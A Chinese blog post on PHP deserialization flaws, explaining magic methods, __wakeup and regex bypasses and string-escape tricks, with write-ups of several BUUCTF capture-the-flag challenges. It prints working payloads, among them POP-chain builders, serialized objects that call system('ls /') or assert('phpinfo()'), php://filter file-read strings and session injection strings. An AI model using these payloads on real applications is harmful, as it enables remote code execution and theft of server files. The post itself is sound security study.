PHP反序列化总结及在CTF的运用

发布于 2021-07-21  1416 次阅读


PHP反序列化

总结下魔术方法的利用点

new实例化对象时构造函数需要参数的话必须要加括号,无参数的话可加可不加,因此建议都加括号,也就是new class();

如class student(),这里面如果有参数$name,则必须加括号,没有的话可加可不加

参考1:https://blog.csdn.net/solitudi/article/details/113588692

参考2:https://blog.csdn.net/weixin_44576725/article/details/124050658

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

前置知识点

this->的作用:https://cn.insci.cn/job_86990.html

call魔术方法:https://www.php.cn/php-ask-481558.html

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

魔术方法利用点

参考https://cloud.tencent.com/developer/article/2129971

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()://析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

*__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

_toString(): //把类当作字符串使用时触发

_sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

魔术方法绕过

具体见参考1

__wakeup():

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行(即哪怕使用unserialize仍不会调用该方法)

正则绕过

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点

利用加号绕过(注意在url里传参时+要编码为%2B) serialize(array(a ) ) ; / / a));//a));//a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

提高

php反序列化之字符串逃逸

关键是代码中把某个字符串变多,如x替换为ww,或变少,如xx替换为w的,这两种情况使得传入的字符串序列化的结果造成的属性个数与实际不匹配,使得我们可以构造利用传入一些字符串,实现逃逸

php原生类的利用

对象注入

案例

BUUCTF

[ZJCTF 2019]NiZhuanSiWei

由源码可知,给了三个参数,一一分析

1.要求text不为空,且读取里面的内容,包含welcome to the zjctf

用data协议按代码要求写入,payload:?text=data://text/plain,welcome to the zjctf

2.由于flag过滤了,无法读取flag.php,给了提示useless.php,文件包含常利用filter协议读取

payload:?file=php://filter/convert.base64-encode/resource=useless.php

解码获得useless.php的代码

3.接下来就是考察反序列化,构造很简单,这个可以不用url编码,为了稳妥我都编码了,链子如下

最终payload:http://0e0a9da7-e3f1-46b0-8254-c067407b26b5.node4.buuoj.cn:81/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

<?php  
class Flag{  
    public $file;
}
$s=new Flag();
$s->file="flag.php";
echo urlencode(serialize($s));
?>  

需要注意的是,在最终的payload的file传参不需要读取内容了,只需要包含useless.php即可,即使看不见它也是存在的,如果带伪协议的话就会覆盖我们的flag,导致出现的是useless.php的内容

还有在反序列化的时候,由于源码的意思是file_get_contents($file) ,即读取$file的内容,因此直接file="flag.php”,而不用伪协议读取,不然就是双重读取,多余了

[网鼎杯 2020 朱雀组]phpwebe

打开发现屏幕过几秒闪一下并刷新下时间没有思路,查看下源码发现一个js语句setTimeout("document.form1.submit()",5000),这个意思是每5秒提交一个表单,而这个表单是由其他元素决定的,根据前面知道提交的是刷新时间的表单,那么这个表单是怎么提交的呢??

抓个包看看发现post传参值比较可疑func=date&p=Y-m-d+h%3Ai%3As+a,查找资料知道这是linux中的date命令,后面是参数

date Y-m-d+h%3Ai%3As+a

那么就可以测试命令 burp放到repeater模块,改为system与ls发现被过滤了,测试了几个发现过滤了好多命令,最后传入func=file_get_contents&p=index.php成功获得源码

或者根据,抓包放到repeater执行提示的date(): It is not safe to rely ...也就是页面上的内容知道这里传参的是命令

获得的源码考察php的反序列化,这里利用的思路很巧妙

首先构造链子,是执行system(ls)命令的链子,如下,结果为O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

<?php
    class Test {
        var $p;
        var $func;
    }
$s=new Test();
$s->func="system";
$s->p="ls /";
echo(serialize($s));
?>

我们又知道post传参可控,因此可以赋值反序列化输出我们的命令,即可成功执行

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

然后继续命令执行即可获得flag

注意:在linux中 /表示根目录 ./表示当前目录 ../表示上一层目录 ,因此payload要用根目录,默认ls的话是当前目录

后续命令system(ls /tmp) system(cat /tmp/flagoefiu4r93)

极客大挑战2019 PHP

www.zip 常见的windows备份文件

www.tar.gz 常见的linux备份文件

由于序列化输出的字符串一般包含不可见字符%00,因此通常使用urlencode编码,这样可以方便在题目中执行,因为有protect包内调用,因此包含不可见字符串

由于wakeup强赋值,因此需要绕过

在序列化输出前,首先要对类实体化也就是new class(),不然的话无法执行,会报错

<?php
class Name{
    private $username = 'admin';
    private $password = 100;
}
$s = new Name();
echo urlencode(serialize($s));
?>

链子构造很简单,主要考wakeup方法的绕过

MRCTF2020-Ezpop

反序列化调用类中的元素,主要参考类中的方法,当方法被调用时,就会执行类中的元素,根据代码构造pop链子

我们知道flag在flag.php,代码审计,我们可以通过追加value的值为flag.php,利用文件包含读取flag

逆向思路:

利用include->就要执行Modifier类->就要调用invoke,控制var的值->发现能让invoke触发的是Test类中的get方法->根据Show类的toString方法构造来调用get方法->传参pop时调用unserialize时会调用wakeup方法->这时wakeup方法中的preg_match函数就会调用同string方法

正向思路:

1.将source = new Show,这时preg_math 如果目标是字符串,则会匹配字符比较,如果目标是一个类,那么php会默认先去找toString方法,因为这是把类当作字符串来进行匹配,这样就会调用toString方法

2.调用get方法,$this->str->source 根据此,如果将str->new Test,这时含义就变成了取Test类中的source值,而在Test类中是没有source这个参数,这样就会调用Test类中的get方法

3.接下来要调用Modifier类中的invoke方法,要通过get方法中的返回函数才能调用,因此可以将可控变量p赋值,$p = new Modifier,

而get方法就是把p值函数执行,也就是p先把Modifier通过new实例化为对象,然后把对象当作函数执行,就会调用invoke方法

4.最后将var改成我们想要的访问flag 的句子即可

5.据此构造链子,并用urlencode编码,因为在构造链子的过程有protect调用,会有%00这个不可见因素,导致get传参失效,如果进行url编码就会绕过这个困难

6.注意:构造链子时,由于需要对某个类中的元素进行改变,因此要先对这个类实例化,这样我们才能对里面的元素进行改变

链子及解释如下

<?php
class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$pop=new Show(); //1.先对类实例化,这样我们才能对里面的元素进行改变
$pop->source=new Show();//2.这样就会调用toString
$pop->source->str=new Test();//3.将str值改变调用Test类中的get方法
$pop->source->str->p=new Modifier();//4.可控p值调用Modifier类中的invoke方法
echo urlencode(serialize($pop));//5.变量pop调用了整个链子,序列化输出即可
?>

[NPUCTF2020]ReadlezPHP

根据抓包放repeater执行或f12,看源码发现一个地址/time.php?source,打开发现考察php反序列化

根据变量a,b的值知道这是一个显示时间的date命令,修改为我们想要的命令即可,这个做过类似的->[网鼎杯 2020 朱雀组]phpwebe

但这个题的flag是在phpinfo中,由于system被禁用,只能通过assert构造链子,如下

<?php
class HelloPhp
{
    public $a;
    public $b;
}
$c = new HelloPhp();
$c->a="phpinfo()";
$c->b="assert";
echo urlencode(serialize($c)); 
?>

payload:time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

注意不能用&传多个参数,因为之前的参数是显示时间,会覆盖phpinfo的内容

[网鼎杯 2020 青龙组]AreUSerialz

需要注意的点如下:

1.弱等于与强等于

在process(),要满足op == "2",由于是弱等于,不判断类型,因此字符串“2”,与数字2都可以满足条件

在destruct方法中if($this->op === "2"),这里由于会重置对象的值,我们要使if判断为假实现绕过,就可以令op为数字2就可以使if为假

2.is_valid()中的if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 注意这个语句的!后面括号包括的位置是后面所有的判断语句,因此应为s[$i]的ascii值>=32&&<=125为真时,整个if为假

3.这里修改了变量的属性protected为public,原因是因为protected与private属性会产生不可见字符%00,即使url编码,%00的ascii值仍为0,不满足上面的if判断语句,而在php7.1及以上版本,对属性的类型不敏感,因此即使我们修改为public属性,代码仍可以执行,而public属性会消除不可见字符%00,同时修改为public属性,也能在外部调用类的函数中的变量

链子如下

 <?php
class FileHandler {
    public $op;
    public $filename;
    
}
$s=new FileHandler();
$s->op=2;
$s->filename="flag.php";
echo urlencode(serialize($s));
?>

结果构造payload即可,由于是文件包含不会显示在页面上,查看源代码就行,如果想展现在页面上可以用伪协议读取

字符串逃逸案例

*[安洵杯 2019]easy_serialize_php

参考:https://www.jianshu.com/p/8e8117f9fd0e

根据提示,在phpinfo中发现d0g3_f1ag.php文件,可能是含有flag的文件,看文件名前面的标题auto_append_file是页面底部加载文件,即require()

$_SESSION的值应该为链子中反序列化输出来的值

前提要明白extract()函数会覆盖之前数组的值

逆向思路

1.我们可以利用file_get_contents读取文件,而这个文件取决于img,去定位img

2.定位到img_path中,如果要让if条件的!$_GET['img_path']为真,即img_path为假

我们知道if函数中,如果没有判断条件,只有变量值的话,则变量值为空即为假,有值即为真

而在这个if条件下的语句,当我们传入img_path,则if为假,会经过sha1加密,我们无法利用,当我们传入为空时,会默认赋值一个图片

综上,我们发现这个img参数不是可控的,因此要换一个思路

3.这是我们看到关键函数preg_replace,在反序列化的题目出现很可能考察字符串逃逸

在本题中preg_replace函数的作用,是把$img中的'php','flag','php5','php4','fl1g'替换为空,那么这时就有字符串逃逸的利用点

原理如下,假如我们传入flag这个字符串,序列化显示个数为4,但是flag被替换为空,而这4个字符就是可以我们可控的了

注意,本题是对源代码序列化后的字符串,在反序列化之前进行过滤

前提要明白extract()函数的特性,它会覆盖之前数组的值,参考:https://blog.csdn.net/weixin_52585514/article/details/124291588例如

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);
?>

post传$_SESSION[flag]=flag111

注意:不传$_SESSION[flag],是因为$是php中的$名称

结果就会覆盖之前的值

image-20221109150922957

然后这时我们就要了解下php对于反序列化输出的特性

特点1

代码如下

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
>

输出的结果为

array(2) { 
    [0]=> string(8) "Hed9eh0g" 
    [1]=> string(5) "aaaaa" 
}

而如果我们在str后面的花括号增加字符串,发现仍然能执行且结果相同,代码即

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
>

这里就发现,php在反序列化的过程是有识别范围的,在这个范围之外的字符都会被忽略,不影响执行

特点2

代码如下

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
>

结果为

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么? 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

写成数组形式也即:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现,SESSION数组的键值img对应的值发生了改变

因此,我们可以运用这种方法,虽然题目不能让我们直接的控制img的值,但是我们可以运用这种方法将第一个s的值利用过滤逃逸出来,构造字符串,使得后续的s不断向前推进,最终将img构成我们读取flag所在文件的语句,由于最终会进行base64_decode,因此这个读取flag的语句要经过base64编码,利用这个思路,我们进行构造

4.弄懂原理,接下来就是自己尝试

我们知道获得flag的思路,即利用字符串逃逸,通过post传参一个新的数组值,使得覆盖原来的值,同时这个数组值包含一个img的值,这样就能实现我们的目的

首先注意题目中的关键语句

$serialize_info = filter(serialize($_SESSION));

$userinfo = unserialize($serialize_info);

它们表示会对$_SESSION的内容序列化输出,然后在反序列化回来

因此上述的 参考内容,是在模拟题目进行的过程

由于拼接的内容,是不会经过第一层的序列化输出的,因此我们要提前把它序列化输出出来

5.我们先根据提示看看d0g3_f1ag.php中的内容

d0g3_f1ag.php的base64编码为ZDBnM19mMWFnLnBocA==

由于img的值经过base64编码,且是反序列化执行,因此执行以下代码:

<?php
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>

执行结果为:a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

其中a:1:代表当前的类型是一个数组,因此我们在拼接的时候要把它去掉,因为我们拼接后源码还要再执行一次序列化,仍有a:前缀

拼接的字符串为:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

6.这样我们就可以测试如下代码

<?php
$_SESSION["user"]='flagflagflagflagflag';
$_SESSION["f"]='aaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION["a"]='aa';
echo serialize($_SESSION);
?>

执行后结果为:a:3:{s:4:"user";s:20:"flagflagflagflagflag";s:1:"f";s:42:"aaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:2:"aa";}

这样当flag被过滤后,所有的s个数都满足条件

构造post传参:

_SESSION[user]=flagflagflagflagflag&_SESSION[f]=aaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:2:"aa";}

这一种方法不明白,为什么要在拼接的后面再放一个数组值,否则不成功

7.还有一种方法,我们可以通过数组名为flag绕过,这样好像就不用在后面添加了

执行结果后内容为$flag = 'flag in /d0g3_fllllllag';

<?php
$_SESSION["flagflagflag"]='aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
?>

执行结果为a:1:{s:12:"flagflagflag";s:52:"aaaa";s:3:"img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}正好满足

构造post传参

_SESSION[flagflagflag]=aaaa";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

注意:因为我们这次过滤去的是键名,那么我们构造时就要在后面补充数组对应键名的键值

7.$flag = 'flag in /d0g3_fllllllag';,访问后提示如上,利用同样的方法访问即可获取flag

不明白的点:

1.为什么会过滤post传参的值

2.为什么payload要在后面再添加一对键值对

3.为什么payload只在后面添加}

4.上述的原因时反序列化执行的规则吗,但为什么在线工具执行不了,怎么测试,这将更深入了解反序列化执行的规律及过程

最后更新于 2023-03-14